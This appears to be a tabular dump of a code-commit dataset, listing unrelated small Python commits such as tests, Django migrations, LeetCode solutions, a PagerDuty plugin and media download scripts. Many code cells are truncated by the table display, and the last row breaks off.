commit stringlengths 40 40 | subject stringlengths 4 1.73k | repos stringlengths 5 127k | old_file stringlengths 2 751 | new_file stringlengths 2 751 | new_contents stringlengths 1 8.98k | old_contents stringlengths 0 6.59k | license stringclasses 13
values | lang stringclasses 23
values |
|---|---|---|---|---|---|---|---|---|
771e9f36f914a56e634ab68d615faa4b937f4e17 | add timed_compute for landmarking metafeatures | byu-dml/metalearn | test_metafeatures.py | test_metafeatures.py | import codecs
import arff
import numpy as np
from metalearn.metafeatures.simple_metafeatures import SimpleMetafeatures
from metalearn.metafeatures.statistical_metafeatures import StatisticalMetafeatures
from metalearn.metafeatures.information_theoretic_metafeatures import InformationTheoreticMetafeatures
from metalearn... | import codecs
import arff
import numpy as np
from metalearn.metafeatures.simple_metafeatures import SimpleMetafeatures
from metalearn.metafeatures.statistical_metafeatures import StatisticalMetafeatures
from metalearn.metafeatures.information_theoretic_metafeatures import InformationTheoreticMetafeatures
def load_arf... | mit | Python |
2aea44ff87c1c21fa7c9a51835c7fc0d46a512a4 | Add tests for PermissionSet. | Acidity/PyPermissions | tests/permission_sets.py | tests/permission_sets.py | import unittest
from permission import Permission, WildcardPermission, PermissionSet, PERMISSION_DELIMITER, PERMISSION_WILDCARD
class PermissionSetTests(unittest.TestCase):
def setUp(self):
self.p1 = Permission("test{0}1{0}hello".format(PERMISSION_DELIMITER))
self.p2 = Permission("test{0}2{0}hell... | mit | Python | |
e4d585d3bc3664dfa984da525c9547d5a8d96741 | Add missing urls.py file | sheppard/django-github-hook,sheppard/django-github-hook | github_hook/urls.py | github_hook/urls.py | from django.conf.urls import patterns, url, include
from rest_framework import routers
from .views import HookView
router = routers.DefaultRouter()
router.register(r'', HookView(),'hook')
urlpatterns = patterns('',
url(r'^', HookView.as_view()),
)
| mit | Python | |
8f7769a0122fb0d9479209ed2239dd0687f301a1 | Add test for url handling in Windows | tomv564/LSP | plugin/core/test_url.py | plugin/core/test_url.py | from .url import (filename_to_uri, uri_to_filename)
import unittest
class WindowsTests(unittest.TestCase):
@unittest.skipUnless(sys.platform.startswith("win"), "requires Windows")
def test_converts_path_to_uri(self):
self.assertEqual("file:///C:/dir%20ectory/file.txt", filename_to_uri("c:\\dir ectory\\file.tx... | mit | Python | |
b4048b9a9ba9f7a9d1ac03e4a0d57c5c6e1b4471 | Fix version string format for development versions | benjifisher/editorconfig-vim,benjifisher/editorconfig-vim,VictorBjelkholm/editorconfig-vim,pocke/editorconfig-vim,johnfraney/editorconfig-vim,pocke/editorconfig-vim,johnfraney/editorconfig-vim,pocke/editorconfig-vim,benjifisher/editorconfig-vim,VictorBjelkholm/editorconfig-vim,VictorBjelkholm/editorconfig-vim,johnfrane... | editorconfig/versiontools.py | editorconfig/versiontools.py | """EditorConfig version tools
Provides ``join_version`` and ``split_version`` classes for converting
__version__ strings to VERSION tuples and vice versa.
"""
import re
__all__ = ['join_version', 'split_version']
_version_re = re.compile(r'^(\d+)\.(\d+)\.(\d+)(\..*)?$', re.VERBOSE)
def join_version(version_tup... | """EditorConfig version tools
Provides ``join_version`` and ``split_version`` classes for converting
__version__ strings to VERSION tuples and vice versa.
"""
import re
__all__ = ['join_version', 'split_version']
_version_re = re.compile(r'^(\d+)\.(\d+)\.(\d+)(\..*)?$', re.VERBOSE)
def join_version(version_tup... | bsd-2-clause | Python |
6c455eee2d9ca2ed0b44285b6b04979bc3c6f758 | Create engine.py | BenIanGifford/car_adventure | engine.py | engine.py | code here
| mit | Python | |
6fd80e630bde1df97368049065d4338a170008f0 | add slack bot | cedar101/quepy-ko,cedar101/quepy | applications/dbpedia/dbpedia_bot.py | applications/dbpedia/dbpedia_bot.py | import os
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import answerer
outputs = []
crontabs = []
def process_message(data):
channel = data["channel"]
question = data["text"]
output = '\n'.join(answerer.query_sparql(*answerer.get_query(question)[0:4]))
outputs.append([channel, output])
| bsd-3-clause | Python | |
61652cb8a4e45f504be14bba9c12720894fc785e | Add lc0714_best_time_to_buy_and_sell_stock_with_transaction_fee.py | bowen0701/algorithms_data_structures | lc0714_best_time_to_buy_and_sell_stock_with_transaction_fee.py | lc0714_best_time_to_buy_and_sell_stock_with_transaction_fee.py | """Leetcode 714. Best Time to Buy and Sell Stock with Transaction Fee
Medium
URL: https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/
Your are given an array of integers prices, for which the i-th element is the price of
a given stock on day i; and a non-negative integer fee representi... | bsd-2-clause | Python | |
b9f6cc8306f2c69b8aafacd0669bacd8454a6eeb | move PHASE_* events to rw.server | FlorianLudwig/rueckenwind,FlorianLudwig/rueckenwind | rw/server.py | rw/server.py | # Copyright 2014 Florian Ludwig
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writin... | apache-2.0 | Python | |
eff564d3f7f2718900e6629c1f36dd40526bcbbb | Add interpreter line | nabla-c0d3/sslyze | utils/HTTPResponseParser.py | utils/HTTPResponseParser.py | #!/usr/bin/env python2.7
# Utility to parse HTTP responses
# http://pythonwise.blogspot.com/2010/02/parse-http-response.html
from StringIO import StringIO
from httplib import HTTPResponse
class FakeSocket(StringIO):
def makefile(self, *args, **kw):
return self
def parse_http_response(sock):
try:
... |
# Utility to parse HTTP responses
# http://pythonwise.blogspot.com/2010/02/parse-http-response.html
from StringIO import StringIO
from httplib import HTTPResponse
class FakeSocket(StringIO):
def makefile(self, *args, **kw):
return self
def parse_http_response(sock):
try:
# H4ck to standardi... | agpl-3.0 | Python |
5be4f164c11128ba4de2788b9baef14ff7c91d67 | add simple tests | hvy/chainer,niboshi/chainer,chainer/chainer,okuta/chainer,wkentaro/chainer,niboshi/chainer,hvy/chainer,chainer/chainer,niboshi/chainer,okuta/chainer,niboshi/chainer,wkentaro/chainer,chainer/chainer,chainer/chainer,okuta/chainer,okuta/chainer,wkentaro/chainer,wkentaro/chainer,hvy/chainer,pfnet/chainer,hvy/chainer | tests/chainerx_tests/unit_tests/routines_tests/test_loss.py | tests/chainerx_tests/unit_tests/routines_tests/test_loss.py | import chainer
from chainer import functions as F
import numpy
import chainerx
from chainerx_tests import dtype_utils
from chainerx_tests import op_utils
_in_out_loss_dtypes = dtype_utils._permutate_dtype_mapping([
(('float16', 'float16'), 'float16'),
(('float32', 'float32'), 'float32'),
(('float64', 'f... | mit | Python | |
22cff9b9b64fefa4d56d128eafe43de86b014ece | add audio analyzer | yossan4343434/TK_15,yossan4343434/TK_15,yossan4343434/TK_15,yossan4343434/TK_15,yossan4343434/TK_15,yossan4343434/TK_15,yossan4343434/TK_15 | src/python/sound_analyze.py | src/python/sound_analyze.py | #coding:utf-8
from scipy.io.wavfile import read
import matplotlib.pyplot as plt
import numpy as np
import math
import sys
from subprocess import call
import os
argvs = sys.argv
argc = len(argvs)
if (argc != 2):
quit()
video_id = argvs[1]
file_dir = "./output"
command = "youtube-dl --extract-audio -o %s https://ww... | mit | Python | |
39a2dea334016d834021f4101c3a900fa47ed21c | add migrations | masschallenge/django-accelerator,masschallenge/django-accelerator | accelerator/migrations/0099_add_innovation_stage_model.py | accelerator/migrations/0099_add_innovation_stage_model.py | # Generated by Django 2.2.27 on 2022-04-19 13:42
import sorl.thumbnail.fields
from django.db import (
migrations,
models,
)
class Migration(migrations.Migration):
dependencies = [
('accelerator', '0098_update_startup_update_20220408_0441'),
]
operations = [
migrations.CreateModel(... | mit | Python | |
89605f1f6d45acdb4521c8275bf2c49250211916 | test with chardet | guaycuru/gmvault,gaubert/gmvault,gaubert/gmvault,gaubert/gmvault,erdincay/gmvault,erdincay/gmvault,erdincay/gmvault,guaycuru/gmvault,guaycuru/gmvault | src/sandbox/chardet_test.py | src/sandbox/chardet_test.py | import sys
import chardet
import codecs
first_arg = sys.argv[1]
print first_arg
print("chardet = %s\n" % chardet.detect(first_arg))
res_char = chardet.detect(first_arg)
print type(first_arg)
print("%s" % (sys.getfilesystemencoding()))
first_arg_unicode = first_arg.decode(res_char['encoding'])
print first_arg_unic... | agpl-3.0 | Python | |
9a791170b13c59066c246844849291fe5e27dd9f | Create app.py | mundodocker/exemplo-docker-compose | web-py/app.py | web-py/app.py | From flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Flask Dockerized'
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0')
| mit | Python | |
a3af59723524adb76404412afbc0be340d690f6b | Fix migration conflict | MTG/freesound-datasets,MTG/freesound-datasets,MTG/freesound-datasets,MTG/freesound-datasets | datasets/migrations/0052_merge_20181106_1927.py | datasets/migrations/0052_merge_20181106_1927.py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2018-11-06 18:27
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('datasets', '0050_auto_20180622_1604'),
('datasets', '0051_auto_20180712_1733'),
]
o... | agpl-3.0 | Python | |
5b8518d3b7bdd55ee20dec81f18c4b9a8732decd | Add tests for friendly errors | voxpupuli/puppetboard,voxpupuli/puppetboard,voxpupuli/puppetboard | test/views/test_failures.py | test/views/test_failures.py | from textwrap import dedent
import pytest
from puppetboard.views.failures import get_friendly_error
# flake8: noqa
@pytest.mark.parametrize("raw_message,friendly_message", [
("Could not retrieve catalog from remote server: Error 500 on SERVER: Server Error: Evaluation "
"Error: Error while evaluating a Res... | apache-2.0 | Python | |
9d9a031d220809e47883f9f658afb7ecf6c9f8f0 | Add custom filter plugin | janLo/ansible-playground,janLo/ansible-playground,janLo/ansible-playground | filter_plugins/listfilter.py | filter_plugins/listfilter.py |
def has_member(mylist, member=None):
return [item for item in mylist if member in mylist]
class FilterModule(object):
def filters(self):
return {"has_member": has_member,
}
| bsd-3-clause | Python | |
a59b6539f16dada785fff01857424196e2898486 | Update array-partition-i.py | kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode,tudennis/LeetCode---kamyu104-11-24-2015,tudennis/LeetCode---kamyu104-11-24-2015,kamyu104/LeetCode | Python/array-partition-i.py | Python/array-partition-i.py | # Time: O(r), r is the range size of the integers
# Space: O(r)
# Given an array of 2n integers, your task is to group these integers into n pairs of integer,
# say (a1, b1), (a2, b2), ..., (an, bn) which makes sum of min(ai, bi) for all i from 1 to n as large as possible.
#
# Example 1:
# Input: [1,4,3,2]
#
# Output... | # Time: O(R), R is the range size of the integers
# Space: O(R)
# Given an array of 2n integers, your task is to group these integers into n pairs of integer,
# say (a1, b1), (a2, b2), ..., (an, bn) which makes sum of min(ai, bi) for all i from 1 to n as large as possible.
#
# Example 1:
# Input: [1,4,3,2]
#
# Output... | mit | Python |
9e7a68b6c17cebf5b587014f1e4e9e30b25a6729 | Create __init__.py | tiffanyhsyu/XMPs | xmps/data/literature_xmp_spectra/__init__.py | xmps/data/literature_xmp_spectra/__init__.py | bsd-3-clause | Python | ||
664a0838ee3d64394b4f68e8d8d11509c576150e | solve problem no.2225 | ruby3141/algo_solve,ruby3141/algo_solve,ruby3141/algo_solve | 2225/answer.py | 2225/answer.py | from sys import stdin
N, K = [int(x) for x in stdin.readline().split()]
if K == 1:
print(1)
exit()
currentEnd = [1] * (N + 1)
for _ in range(K - 2):
nextEnd = [sum(currentEnd[x:]) for x in range(N + 1)]
currentEnd = nextEnd
print(sum(currentEnd) % 1000000000) | mit | Python | |
5b7b301c3f9dd906b8450acc5b28dbcb35fe973a | Add a script to fix the not_standing relationships of people | DemocracyClub/yournextrepresentative,DemocracyClub/yournextrepresentative,DemocracyClub/yournextrepresentative | candidates/management/commands/candidates_fix_not_standing.py | candidates/management/commands/candidates_fix_not_standing.py | from __future__ import print_function, unicode_literals
from django.core.management.base import BaseCommand
from popolo.models import Membership
from candidates.models import PersonExtra
class Command(BaseCommand):
help = "Find elections in not_standing that should be removed"
def add_arguments(self, pars... | agpl-3.0 | Python | |
dc31884c342a71c75874b91323d460b387283390 | set up urllib to get data from polio api | unicef/rhizome,unicef/polio,unicef/rhizome,unicef/polio,SeedScientific/polio,unicef/rhizome,SeedScientific/polio,unicef/rhizome,SeedScientific/polio,SeedScientific/polio,unicef/polio,SeedScientific/polio,unicef/polio | source_data/ODK/refresh_odk.py | source_data/ODK/refresh_odk.py | #!/bin/python
import sys
import urllib2
def main():
try:
sys.path.append("/Users/johndingee_seed/Desktop/")
import odk_settings as odk_settings
except ImportError:
sys.path.append("/home/ubuntu/ODK/")
import odk_settings
REGION_FORM="VCM_Sett_Coordinates_1.2"
# UUID=$... | #!/bin/python
import sys
def main():
try:
sys.path.append("/Users/johndingee_seed/Desktop/")
import odk_settings as odk_settings
except ImportError:
sys.path.append("/home/ubuntu/ODK/")
import odk_settings
print 'HELLO'
print odk_settings.EXPORT_DIRECTORY
# sour... | agpl-3.0 | Python |
cc449a3dc0cae8cab91ef7d7a707046812a2a5d5 | test program for testing cm_mongo2 | rajpushkar83/cloudmesh,rajpushkar83/cloudmesh,rajpushkar83/cloudmesh,rajpushkar83/cloudmesh,rajpushkar83/cloudmesh,rajpushkar83/cloudmesh,rajpushkar83/cloudmesh | m.py | m.py | import cloudmesh
from pprint import pprint
cloudmesh.logger(False)
username = cloudmesh.load().username()
cloudmesh.banner("INIT MONGO")
mesh = cloudmesh.mesh("mongo")
cloudmesh.banner("ACTIVATE")
mesh.activate(username)
cloudmesh.banner("GET FLAVOR")
data = mesh.flavors(cm_user_id=username, clouds=["india"])
ppri... | apache-2.0 | Python | |
a2efa662f0f5b8fe77da5673cb6d6df2e2f583d2 | Add migration to create user profiles | aptivate/kashana,aptivate/alfie,daniell/kashana,aptivate/alfie,daniell/kashana,aptivate/kashana,aptivate/alfie,daniell/kashana,daniell/kashana,aptivate/kashana,aptivate/alfie,aptivate/kashana | django/website/contacts/migrations/0004_auto_20160421_1645.py | django/website/contacts/migrations/0004_auto_20160421_1645.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
def add_user_profiles(apps, schema_editor):
User = apps.get_model('contacts', 'User')
UserPreferences = apps.get_model('contacts', 'UserPreferences')
for user in User.objects.all():
UserPrefe... | agpl-3.0 | Python | |
b2064142d0a3dc657980c8039a1b9be7ddc1536a | Add graph library | tobi-wan-kenobi/bumblebee-status,tobi-wan-kenobi/bumblebee-status | util/graph.py | util/graph.py | MAX_PERCENTS = 100.
class Bar(object):
"""superclass"""
bars = None
def __init__(self, value):
"""
Args:
value (float): value between 0. and 100. meaning percents
"""
self.value = value
class HBar(Bar):
"""horizontal bar (1 char)"""
bars = [
... | mit | Python | |
2a4b09609acabc3f6bfe2864137fd5f9b1dc2b36 | Initialize usgswqp serializers to be similar to cuahsi | WikiWatershed/model-my-watershed,WikiWatershed/model-my-watershed,WikiWatershed/model-my-watershed,WikiWatershed/model-my-watershed,WikiWatershed/model-my-watershed | src/mmw/apps/bigcz/clients/usgswqp/serializers.py | src/mmw/apps/bigcz/clients/usgswqp/serializers.py | # -*- coding: utf-8 -*-
from __future__ import (absolute_import,
division,
print_function,
unicode_literals)
from rest_framework.serializers import (CharField,
DateTimeField,
... | apache-2.0 | Python | |
cbff10f7d9e11a4c3f854f27187e15f5ff81a784 | add test pypi wsgi config | pydotorg/pypi,pydotorg/pypi,pydotorg/pypi,pydotorg/pypi | testpypi.wsgi | testpypi.wsgi | #!/usr/bin/python
import sys, os
prefix = os.path.dirname(__file__)
sys.path.insert(0, prefix)
import wsgi_app
config_path = os.path.join(prefix, 'testpypi-config.ini')
application = wsgi_app.Application(config_path, debug=True)
if __name__ == '__main__':
application.test(8000)
| bsd-3-clause | Python | |
d064c023a145f1c26a66cca1ff2178d4d0e9df56 | add recommendations handling | 2mv/seuraaja | recommendations.py | recommendations.py | import unicodecsv as csv
import tempfile
import os
import errno
from datetime import date
class Recommendations:
STORED_RECOMMENDATIONS_FILENAME = os.path.join(tempfile.gettempdir(), 'seuraaja_recommendations_last.csv')
CSV_FIELD_NAMES = ['name', 'recommendation', 'potential', 'timestamp']
@staticmethod
d... | isc | Python | |
5914ff1ea8f62f86e134ae50fb11b5a5008ddb5a | Create empty package | rosswhitfield/javelin | javelin/__init__.py | javelin/__init__.py | """Javelin"""
__all__ = []
__version__ = '0.1.0'
| mit | Python | |
58962a3c23586f6d5b702300ef0d22f3c75ee14a | Create solution2.py | lilsweetcaligula/Algorithms,lilsweetcaligula/Algorithms,lilsweetcaligula/Algorithms | data_structures/linked_list/problems/find_pattern_in_linked_list/py/solution2.py | data_structures/linked_list/problems/find_pattern_in_linked_list/py/solution2.py | import LinkedList
# Linked List Node inside the LinkedList module is declared as:
#
# class Node:
# def __init__(self, val, nxt=None):
# self.val = val
# self.nxt = nxt
#
def FindPatternInLinkedList(head: LinkedList.Node, pattern: LinkedList.Node) -> int:
if head == None or pattern == ... | mit | Python | |
23bf089a12adca84cb90bfd025419378a2a204d9 | Create GoPro.py | mavlyutovrus/person_detection | src/GoPro.py | src/GoPro.py | from goprohero import GoProHero
import base64
import time
import os.path
def save_em():
import os
import glob
import shutil
src_dir = "C:/FaceRecognition/"
dst_dir = "C:/FaceRecognition/GoPro/"
for jpgfile in glob.iglob(os.path.join(src_dir, "*.jpg")):
shutil.copy(jpgfile, dst_dir)
def list_all... | apache-2.0 | Python | |
572f6d8e789495fc34ed67230b10b0c1f0b3572f | Add some tests for helusers | City-of-Helsinki/django-helusers,City-of-Helsinki/django-helusers | helusers/tests/test_utils.py | helusers/tests/test_utils.py | import pytest
import random
from uuid import UUID
from helusers.utils import uuid_to_username, username_to_uuid
def test_uuid_to_username():
assert uuid_to_username('00fbac99-0bab-5e66-8e84-2e567ea4d1f6') == 'u-ad52zgilvnpgnduefzlh5jgr6y'
def test_username_to_uuid():
assert username_to_uuid('u-ad52zgilvnpgn... | bsd-2-clause | Python | |
8eb0f909e91d9fe3531996621f0abba828f7e6ca | Create local-dist.py | allox/django-base-template,allox/django-base-template,allox/django-base-template,allox/django-base-template | project_name/settings/local-dist.py | project_name/settings/local-dist.py | """
This is an example settings/local.py file.
These settings overrides what's in settings/base.py
"""
from . import base
# To extend any settings from settings/base.py here's an example.
# If you don't need to extend any settings from base.py, you do not need
# to import base above
INSTALLED_APPS = base.INSTALLED_A... | bsd-3-clause | Python | |
ea0b61898ca287097ba4f3bb20aa84906de23c19 | Create ElasticsearchInterface.py | Anton04/SolarDataRESTfulAPI,Anton04/SolarDataRESTfulAPI | ElasticsearchInterface.py | ElasticsearchInterface.py | #!/usr/bin
import pandas
from influxdb import InfluxDBClient
import json
import numpy
from elasticsearch import Elasticsearch
class ESinterface(Elasticsearch):
def SaveDataFrameAs(self,index,type,id_param,dataframe):
pass
| mit | Python | |
3127cface44165d3200657c3fa626a5051c6ad48 | Test API call that only returns a single Resource | diranged/python-rightscale-1,brantai/python-rightscale | tests/test_show_resource.py | tests/test_show_resource.py | from nose.plugins.attrib import attr
from rightscale.rightscale import RightScale, Resource
@attr('rc_creds', 'real_conn')
def test_show_first_cloud():
api = RightScale()
res = api.clouds.show(res_id=1)
assert isinstance(res, Resource)
| mit | Python | |
1d80afd32c90b1f55ef9933e89217c9785893146 | add static fields tests | keeprocking/pygelf,keeprocking/pygelf | tests/test_static_fields.py | tests/test_static_fields.py | from pygelf import GelfTcpHandler, GelfUdpHandler, GelfHttpHandler
from tests.helper import logger, get_unique_message, log_warning, log_exception
import pytest
import mock
import socket
import logging
@pytest.fixture(params=[
GelfTcpHandler(host='127.0.0.1', port=12201, _ozzy='diary of a madman', _van_halen=1984... | mit | Python | |
37a036672e459b0d83b7b91120c8ec40e3759190 | Add secret=true to fixed_key configuration parameter | klmitch/nova,mikalstill/nova,klmitch/nova,klmitch/nova,openstack/nova,rahulunair/nova,mahak/nova,mahak/nova,mikalstill/nova,mahak/nova,rahulunair/nova,openstack/nova,mikalstill/nova,klmitch/nova,rahulunair/nova,openstack/nova | nova/conf/key_manager.py | nova/conf/key_manager.py | # Copyright 2016 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | # Copyright 2016 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | apache-2.0 | Python |
3b798b48083f93b27dcce019061d977ccff5141c | Make 'logging.LogRecord' serializable | edgedb/edgedb,edgedb/edgedb,edgedb/edgedb | edgedb/lang/common/markup/serializer/logging.py | edgedb/lang/common/markup/serializer/logging.py | ##
# Copyright (c) 2011 Sprymix Inc.
# All rights reserved.
#
# See LICENSE for details.
##
import logging
from . import base
@base.serializer(handles=logging.LogRecord)
def serialize_logging_record(obj, *, ctx):
return base._serialize_known_object(obj,
(attr for attr in... | apache-2.0 | Python | |
c2f70b77c493e5335d6725eda2ffa6ed346a93ac | Add Opps contrib package | jeanmask/opps,opps/opps,williamroot/opps,jeanmask/opps,jeanmask/opps,YACOWS/opps,YACOWS/opps,opps/opps,williamroot/opps,YACOWS/opps,williamroot/opps,opps/opps,jeanmask/opps,opps/opps,YACOWS/opps,williamroot/opps | opps/contrib/__init__.py | opps/contrib/__init__.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
| mit | Python | |
d26a2b18849f283110c857fe694c2426215b6128 | Add output_utils | kmadathil/sanskrit_parser,kmadathil/sanskrit_parser | sanskrit_parser/output_utils/__init__.py | sanskrit_parser/output_utils/__init__.py | from sanskrit_parser import Parser
def hyphenate(text):
''' Hyphenate the provided devanagari text. '''
parser = Parser()
hyphenated_sentences = []
for sentence in text.split('।'):
sentence = sentence.strip()
if sentence != '':
hyphenated_word = []
for word in sentence.strip().split(' '):
... | mit | Python | |
e6ce19be2b35e5e365e4a1ca0a4204794611ac19 | Add a node buzzer1 | hashimotodaisuke/pimouse_ros,hashimotodaisuke/pimouse_ros | scripts/buzzer1.py | scripts/buzzer1.py | #!/usr/bin/env python
import rospy
rospy.init_node('buzzer')
rospy.spin()
| bsd-3-clause | Python | |
50e95011247acf9633e638b3e5cb4100b3f620e3 | add new package at v1.0.1 (#20602) | LLNL/spack,LLNL/spack,LLNL/spack,LLNL/spack,LLNL/spack | var/spack/repos/builtin/packages/py-contextily/package.py | var/spack/repos/builtin/packages/py-contextily/package.py | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PyContextily(PythonPackage):
"""Context geo-tiles in Python."""
homepage = "https://g... | lgpl-2.1 | Python | |
865e483abcd1754b5056841e08e037eb02fd71db | Add py-sentry-sdk (#19173) | iulian787/spack,LLNL/spack,iulian787/spack,LLNL/spack,iulian787/spack,LLNL/spack,iulian787/spack,iulian787/spack,LLNL/spack,LLNL/spack | var/spack/repos/builtin/packages/py-sentry-sdk/package.py | var/spack/repos/builtin/packages/py-sentry-sdk/package.py | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PySentrySdk(PythonPackage):
"""The new Python SDK for Sentry.io"""
homepage = "https:... | lgpl-2.1 | Python | |
d76809021c99f841cd8d123058d307404b7c025c | Add py solution for 659. Split Array into Consecutive Subsequences | ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode | py/split-array-into-consecutive-subsequences.py | py/split-array-into-consecutive-subsequences.py | from itertools import groupby
class Solution(object):
def isPossible(self, nums):
"""
:type nums: List[int]
:rtype: bool
"""
prev = None
not_full_1, not_full_2, attach = 0, 0, 0
for n, items in groupby(nums):
cnt = len(list(items))
if p... | apache-2.0 | Python | |
dca3853fd2eb036a111d93dda8f807a71a4d2303 | Create Caeser.py | MrXlVii/crypto_project | Caesar.py | Caesar.py |
"""
Demonstration text for program's output:
Do you wish to encrypt or decrypt a message?
encrypt
Enter your message:
The sky above the port was the color of television, tuned to a dead channel.
Enter the key number (1-26)
13
Your translated text is:
Gur fxl nobir gur cbeg jnf gur pbybe bs gryrivfvba, gharq g... | mit | Python | |
2414caca36a640f638b4c539b4e8d95688e1c345 | Add config module to wrap config data | desihub/desisurvey,desihub/desisurvey | py/desisurvey/config.py | py/desisurvey/config.py | """Manage survey planning and schedule configuration data.
The normal usage is::
>>> config = Configuration()
>>> config.max_airmass()
2.0
>>> config.programs.BRIGHT.max_sun_altitude()
<Quantity -13.0 deg>
Use dot notation to specify nodes in the configuration hieararchy.
Terminal node values are... | bsd-3-clause | Python | |
ee44cd30c0bb9c40b2d49449b21d5ccca131081f | Add a plugin to send notifications via PagerDuty. | lyft/pycollectd | pycollectd/pagerduty.py | pycollectd/pagerduty.py | # -*- coding: utf-8 -*-
#
# © 2013 Lyft, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... | apache-2.0 | Python | |
d46a53336af376cd227c6ab1d130433eb465a480 | Add local_settings example | svleeuwen/dont-be-late-appengine,svleeuwen/dont-be-late-appengine,svleeuwen/dont-be-late-appengine,svleeuwen/dont-be-late-appengine | src/dontbelate/local_settings.example.py | src/dontbelate/local_settings.example.py | NS_API_BASIC_AUTH = ('[email]', '[api-key]')
| mit | Python | |
f8db46b40629cfdb145a4a000d47277f72090c5b | Use proper clock if possible | Liangjianghao/powerline,kenrachynski/powerline,darac/powerline,darac/powerline,bezhermoso/powerline,firebitsbr/powerline,bartvm/powerline,cyrixhero/powerline,junix/powerline,prvnkumar/powerline,s0undt3ch/powerline,S0lll0s/powerline,Luffin/powerline,EricSB/powerline,dragon788/powerline,prvnkumar/powerline,wfscheper/powe... | powerline/lib/memoize.py | powerline/lib/memoize.py | # vim:fileencoding=utf-8:noet
from functools import wraps
try:
# Python>=3.3, the only valid clock source for this job
from time import monotonic as time
except ImportError:
# System time, is affected by clock updates.
from time import time
def default_cache_key(**kwargs):
return frozenset(kwargs.items())
cla... | # vim:fileencoding=utf-8:noet
from functools import wraps
import time
def default_cache_key(**kwargs):
return frozenset(kwargs.items())
class memoize(object):
'''Memoization decorator with timeout.'''
def __init__(self, timeout, cache_key=default_cache_key, cache_reg_func=None):
self.timeout = timeout
self.... | mit | Python |
125dfc003a834523132a4ac6839e3baa03f35930 | add util script to print out folders not owned by cscap | akrherz/iem,akrherz/iem,akrherz/iem,akrherz/iem,akrherz/iem | scripts/cscap/list_folder_owners.py | scripts/cscap/list_folder_owners.py | """
List out the folders on the Google Drive and see who their owners are!
"""
import util
import ConfigParser
import gdata.docs.client
config = ConfigParser.ConfigParser()
config.read('mytokens.cfg')
docs_client = util.get_docs_client(config)
query = gdata.docs.client.DocsQuery(categories=['folder'],
... | mit | Python | |
6c24a142c4dce92e7b1dcff5dd057262f89174ce | Add slack specs | cgvarela/pysellus,Pysellus/pysellus,angelsanz/pysellus,ergl/pysellus | spec/slack_spec.py | spec/slack_spec.py | from expects import expect, be, have_key
from pysellus.stock_integrations import slack, integration_classes
with description('the slack integration module'):
with it('should be in the integration classes dictionary'):
expect(integration_classes).to(have_key('slack'))
expect(integration_classes['... | mit | Python | |
6c250ab4860c69a00fec7574e7dd15b6341d00ee | add missing dependency (#1958) | EmreAtes/spack,tmerrick1/spack,EmreAtes/spack,skosukhin/spack,mfherbst/spack,LLNL/spack,skosukhin/spack,EmreAtes/spack,LLNL/spack,matthiasdiener/spack,mfherbst/spack,EmreAtes/spack,iulian787/spack,EmreAtes/spack,TheTimmy/spack,mfherbst/spack,iulian787/spack,tmerrick1/spack,skosukhin/spack,mfherbst/spack,skosukhin/spack... | var/spack/repos/builtin/packages/pango/package.py | var/spack/repos/builtin/packages/pango/package.py | ##############################################################################
# Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | ##############################################################################
# Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | lgpl-2.1 | Python |
f20f8ccb7e501af1ce4e0821d93c75f8c80e224a | Add script | nix-py/tumblr-dl | td.py | td.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = "nix-py"
__date__ = "20-02-2017"
__license__ = "MIT"
__copyright__ = "Copyright © 2017 nix-py"
import argparse
import os
import json
import requests
def get_photo_urls(blog_name, pages):
for page in range(pages):
api_url = (
... | mit | Python | |
0543a2a54086c22298c54daf9d2fc1acd95f60ca | add vq for IFA | SnippyHolloW/speech_embeddings,syhw/speech_embeddings | vq.py | vq.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# ------------------------------------
# file: vq.py
# date: Fri May 02 12:10 2014
# author:
# Maarten Versteegh
# github.com/mwv
# maartenversteegh AT gmail DOT com
#
# Licensed under GPLv3
# ------------------------------------
"""vq:
"""
from __future__ import division
i... | mit | Python | |
007b637fcf08428ccd273ccc5e92b80983da2518 | Solve task #283 | Zmiecer/leetcode,Zmiecer/leetcode | 283.py | 283.py | class Solution(object):
def moveZeroes(self, nums):
"""
